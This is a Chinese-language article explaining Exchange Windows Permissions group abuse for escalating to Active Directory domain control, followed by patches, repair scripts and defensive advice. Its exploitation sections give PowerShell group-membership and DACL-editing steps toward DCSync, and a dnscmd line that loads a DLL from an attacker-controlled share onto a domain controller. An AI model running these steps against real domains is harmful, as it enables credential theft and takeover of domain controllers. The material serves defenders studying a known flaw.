Exchange Windows Permissions组权限滥用:Exchange-AD-Privesc核心漏洞深度剖析
Exchange-AD-Privesc是一个专注于Exchange服务器权限提升至Active Directory的安全研究项目,它揭示了Microsoft Exchange部署对Active Directory安全的潜在影响。本文将深入剖析Exchange Windows Permissions组权限滥用的核心漏洞,帮助安全从业者和系统管理员理解风险并采取防御措施。
什么是Exchange Windows Permissions组?
在Exchange部署中,Exchange Windows Permissions(EWP) 是一个关键的安全组,它被授予了许多Active Directory对象的访问控制权限。根据Exchange的权限模型(RBAC Split、Shared或AD Split),EWP组会被添加到各种AD对象的DACL(Discretionary Access Control List)中,以支持Exchange服务的正常运行。
Exchange Windows Permissions组权限滥用的危害
EWP组权限滥用可能导致严重的安全后果,攻击者可以通过以下途径完全控制Active Directory域:
- 修改域对象DACL:获得WriteDACL权限后可添加复制权限,使用DCSync获取域内所有用户凭证
- 控制DNSAdmins组:通过EWP组权限添加DNSAdmins组成员,进而在域控制器上执行代码
- 利用Exchange服务器作为跳板:Exchange服务器通常是EWP组成员,攻陷后可间接获取EWP权限
域对象DACL权限漏洞深度解析
漏洞原理
在Exchange 2010/2013/2016的Shared或RBAC Split权限模型中,当执行"Setup /PrepareAD"命令时,会在域对象上为EWP组添加两个缺少INHERIT_ONLY_ACE标志的ACE(Access Control Entry):
(OA;CI;DTWD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;<SID of EWP>)
(OA;CI;DTWD;;bf967aba-0de6-11d0-a285-00aa003049e2;<SID of EWP>)
这导致EWP组不仅对用户/inetOrgPerson子对象有WriteDACL权限,而是对域对象本身也有该权限,违背了设计初衷。
漏洞可视化分析
在DSA控制台中可以清晰看到这些有问题的ACE:
Exchange Windows Permissions组在域对象上的ACE视图
通过"Effective Access"选项卡可以确认EWP组对域对象本身具有WriteDACL权限:
Exchange Windows Permissions组的有效访问权限
利用流程
-
将用户添加到EWP组(Organization Management成员可执行):
$user = Get-ADUser -Identity $env:USERNAME Add-ADGroupMember -Identity "Exchange Windows Permissions" -Members $user -
获取域对象DACL并添加复制权限:
$acl = get-acl "ad:DC=test,DC=local" # 添加Ds-Replication-Get-Changes和Ds-Replication-Get-Changes-All扩展权限 # ...(权限添加代码)... Set-acl -aclobject $acl "ad:DC=test,DC=local" -
使用DCSync获取域内所有用户凭证,完全控制Active Directory域
DNSAdmins组权限滥用漏洞解析
漏洞原理
EWP组和Exchange Trusted Subsystem(ETS)组对DNSAdmins组有以下控制权限:
- EWP组:对ManagedBy和Member属性有WriteProp权限
- ETS组:对Group类对象有WriteDACL权限
EWP组对DNSAdmins的有效访问权限
这些权限使攻击者能够添加DNSAdmins组成员,而DNSAdmins组具有在域控制器上加载DLL的特殊权限。
利用流程
-
通过EWP组添加DNSAdmins成员:
$user = Get-ADUser -Identity $env:USERNAME Add-ADGroupMember -Identity "DNSAdmins" -Members $user -
在域控制器上配置恶意DLL加载:
dnscmd dc01.test.local /config /serverlevelplugindll \\attacker\share\malicious.dll -
重启DNS服务后执行代码,以SYSTEM权限完全控制域控制器
ETS组对DNSAdmins的有效访问权限
漏洞修复方案
官方修复
Microsoft已在以下Exchange更新中修复了这些问题:
- Exchange Server 2019 – Cumulative Update 1
- Exchange Server 2016 – Cumulative Update 12
- Exchange Server 2013 – Cumulative Update 22
安装更新后需执行:Setup.exe /PrepareAD 和 /PrepareDomain 命令以应用修复。
手动修复工具
项目提供了两个PowerShell脚本用于修复这些权限问题:
-
域对象DACL修复:Fix-DomainObjectDACL.ps1
- 检查并设置缺失的INHERIT_ONLY标志
- 使用
-Fix参数应用修复,-Restore参数恢复原始状态
-
DNSAdmins组DACL修复:Fix-DNSAdmins-DACL.ps1
- 检查并移除EWP和ETS组的不当权限
- 使用
-Fix参数禁用继承并删除有问题的ACE
防御建议
为保护Exchange和Active Directory环境免受此类权限滥用攻击,建议:
- 及时应用Exchange累积更新:确保Exchange服务器运行最新的安全更新
- 使用RBAC Split权限模型:相比默认的Shared模型提供更严格的权限控制
- 限制EWP组成员:仅必要的Exchange服务账户应属于此组
- 监控敏感组变更:配置警报监控EWP、DNSAdmins等特权组的成员变化
- 定期审计AD权限:使用AD-Control-Paths等工具检查不当的ACE配置
通过理解和防范Exchange Windows Permissions组权限滥用漏洞,组织可以显著提高Active Directory环境的安全性,防止攻击者利用Exchange作为跳板获取域管理员权限。
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考



